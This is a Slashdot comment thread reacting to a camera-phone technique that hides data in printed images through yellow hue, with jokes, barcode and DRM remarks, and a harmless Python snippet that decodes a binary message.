  22. Which makes you wonder... by Daetrin · · Score: 1

    What _is_ entirely unlike those game pieces that need to be viewed through a colored filter?

    --
    This Space Intentionally Left Blank
    1. Re:Which makes you wonder... by pushing-robot · · Score: 1

      The concoction produced by a Nutrimatic dispenser, presumably.

      --
      How can I believe you when you tell me what I don't want to hear?
    2. Re:Which makes you wonder... by Anonymous Coward · · Score: 0

      or tea.

  23. [citation needed] by tepples · · Score: 1

    the majority of cell phones have cameras. [citation needed]
    1. Re:[citation needed] by Anonymous Coward · · Score: 0

      this isn't wikipedia you twat. slashdot doesn't need your fancy 'references' or 'facts'. huh.

  24. I already did it 5 years ago, and with php by dangil · · Score: 1

    true story.. I developed a php script that embeds 3 bits of information on a 4x4 pixel array, using DCT and spread spectrum, but I did with the blue hue, which to my knowledge is the one humans see the worse ( because of the refraction on the crystalin, it actualy is out of focus on our eye, hence black lights from discos are blurry) hey fujitsu , hire me ! I could use a job near akihabara

    1. Re:I already did it 5 years ago, and with php by polymorphorism · · Score: 1

      oh yeah? well, I can embed 3 bits of information in a *3x1* pixel array! Or alternatively, *16 bits of information* in your 4x4 pixel array!

    2. Re:I already did it 5 years ago, and with php by Archon-X · · Score: 1

      Know your anime? Look good in a maid costume?
      If yes, there's always work around akihabara!

  25. Here is a hidden message by Anonymous Coward · · Score: 0

    1f|u|c4n|r34d|7h15|u|r34LLy|n33d|70|G37|4|L1f3|4nd |G37|L41d|u|c0mpu73r|n3rd;-))|

    1. Re:Here is a hidden message by LordEd · · Score: 1

      1|h4v3|4|G1r1fr3nd|u|1n53n5171v3|c10d!

  26. In a million locker rooms across the land... by nick_davison · · Score: 1

    I wonder if it's possible to get an otherwise invisible tattoo that reads, "By the way, that'll be $19.99/month. However, please limit your shots to those who consent in the future."

  27. DRM use? by Barbarian · · Score: 1

    I'm sure the next use someone will come up with will be a mechanism for content protection. "Sorry, this picture is not authorized. Please remain calm and wait for the police."

    1. Re:DRM use? by Anonymous Coward · · Score: 0

      Like this? http://en.wikipedia.org/wiki/EURion_constellation

      I'm waiting for basilisk images that crash phones....

    2. Re:DRM use? by Anonymous Coward · · Score: 0

      Indeed, as more backlash against draconian DRM schemes continues to develop and non-copy-protected content (music, DVDs, books) begins to emerge, I expect that steganographic signatures uniquely identifying the particular disc or file and to whom it was sold, will be embedded in the content so that the original copyright violator can be located and prosecuted.

  28. upcode by ms1234 · · Score: 1

    A finnish company, upcode (www.upcode.fi) does this with a less hidden picture, in newspapers etc. You take a picture with your camera phone, the upcode software recognizes the code on the page and the code is sent to a server and a message (be it stock quotes or bus schedule info) is sent back.

  29. Stegonagraphy and stenography by Anonymous Coward · · Score: 0

    Cell phone deciphers printer's shorthand.

  30. My tattoo by snoggeramus · · Score: 0

    So my yellow tattoo wasn't such a waste after all?

  31. Re:Scary Tech & blue LED's by Technician · · Score: 1

    To easly see the pattern of yellow in a print, go in a dark place with a bright blue LED flashlight. If you don't have any samples handy, just use some new US $20 bills. Have some color copies done at Kinkos and look for the tiny easly visable dots that show near black under blue light. In magazines, the pattern will have to be much larger to be captured by cheap low resolution cell phones with fixed focus.

    --
    The truth shall set you free!
  32. Da Vinci Code by Anonymous Coward · · Score: 0

    Well, if Langdorn would have had such a phone, the movie would only wasted 20 min's of my life instead of 150...

  33. This is a really bad idea by Anonymous Coward · · Score: 0

    Why make it easier for the bad guys to send secret messages in pictures?
    See:
    http://labnol.blogspot.com/2006/10/how-to-hide-sec ret-documents-or.html
    or any article on steganography.

  34. 12 whole bytes by Bloke+down+the+pub · · Score: 1

    Now if only they could reverse this process to store a picture in 12 bytes...

    --
    It's true I tell you, feller at work's next door neighbour read it in the paper.
  35. oblig by grimdawg · · Score: 1

    >
    >
    >
    >
    >
    >
    >
    >

    Hidden in the above whitespace is the phrase "I, for one, welcome our new invisible barcode overlords".

    --
    There are 10 kinds of people in this world: those who understand binary, and nine other kinds of people.
  36. Now I can see... by tenco · · Score: 1

    ...all the "Fnord!"'s. 12 bytes of UTF-16 in BMP = 6 chars. Perfect. I knew it...

  37. Why only print? by Anonymous Coward · · Score: 0

    Couldn't this same technique be used to embedded messages in JPGs or GIFs displayed on a monitor? I can see the spy movie where the hero gets a TinyURL and goes to that site and looks at the images through a filter to see his instructions. No, wait, that could _work_ so they'd never do it. ;-)

  38. Tigger Taggants and Kodak Professional Paper by purduephotog · · Score: 1

    Kodak did something similar with their professional papers. They embedded a recurrent pattern of dots in the blue channel (yellow dye) that could be seen on a scanner but was practically impossible to see with the naked eye. Hardware scanners then incorporated a 'tigger taggant' (It's been so long it could have been tiger taggants) detector and would lock out the user from printing the image unless a security override code was used. You couldn't defeat the mechanism by scanning it yourself, either, because unless you removed the blue channel dots it would still be present in the scanned image, and thus detected at printing (Such as at the XLS8500 Kiosk booths).

    They eventually stopped doing so about 3 years ago, if memory serves, due to the increased cost of the paper. As you can imagine, pre-sensitization of the the paper with the taggants required unwinding the master rolls before cutting and significantly added to the cost.

  39. Modding code as funny?... by StressGuy · · Score: 3, Funny

    Hey!...y-you guys are just a bunch of GEEKS!....all this time....I...I've been hanging out with GEEKS!!!

    {...sniff...} and I thought I really was funny and insightful! {....sob!....}

    --
    A goal is a dream with a deadline
  40. Difficult to discerne? Oh yeah? by Viol8 · · Score: 1

    Is this difficult to discerne in the same way that we were told lossy audio compression systems would be almost impossible to discerne from the original? That theory lasted about 5 mins, wonder how long this one will last?

  41. There's a bunch of 2D barcodes out there as well by pierz · · Score: 1

    Things like Shotcode and DataMatrix etc - see http://en.wikipedia.org/wiki/2D_barcode/. Then there's all the watermarking schemes...

  42. think of the humor by TheRistoman · · Score: 1

    They should use this technology on clothing, nothing like looking at some digipix where your friend's shirt says I'M GAY when you thought it was just an innocent plain white tee.

  43. QR Code Midlet? by drinkypoo · · Score: 1

    That's pretty neat. Unfortunately QR codes are more or less the standard. Does anyone know of a QR Code reading MIDlet that will actually work on a variety of phones? I can't find one that works on a Moto RAZR V3i as this semacode application apparently does.

    --
    "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  44. C can not see? by LarsG · · Score: 1

    "by skewing yellow hue, which is difficult to discern by human eye but fairly easy for camera phones to decode using software written in Java." ..as opposed to software written in colorblind languages.

    --
    If J.K.R wrote Windows: Puteulanus fenestra mortalis!
  45. Python by bagofcrap · · Score: 1

    import sys
    m = '01000010 01100101 00100000 01110011 01110101 01110010 01100101 00100000 01110100 01101111 00100000 01100100 01110010 01101001 01101110 01101011 00100000 01111001 01101111 01110101 01110010 00100000 01001111 01110110 01100001 01101100 01110100 01101001 01101110 01100101 00101110'.split(' ')

    for s in m:
        i = 0;
        for b in s:
           i = (i << 1) + int(b)
        sys.stdout.write("%s"% chr(i))
    print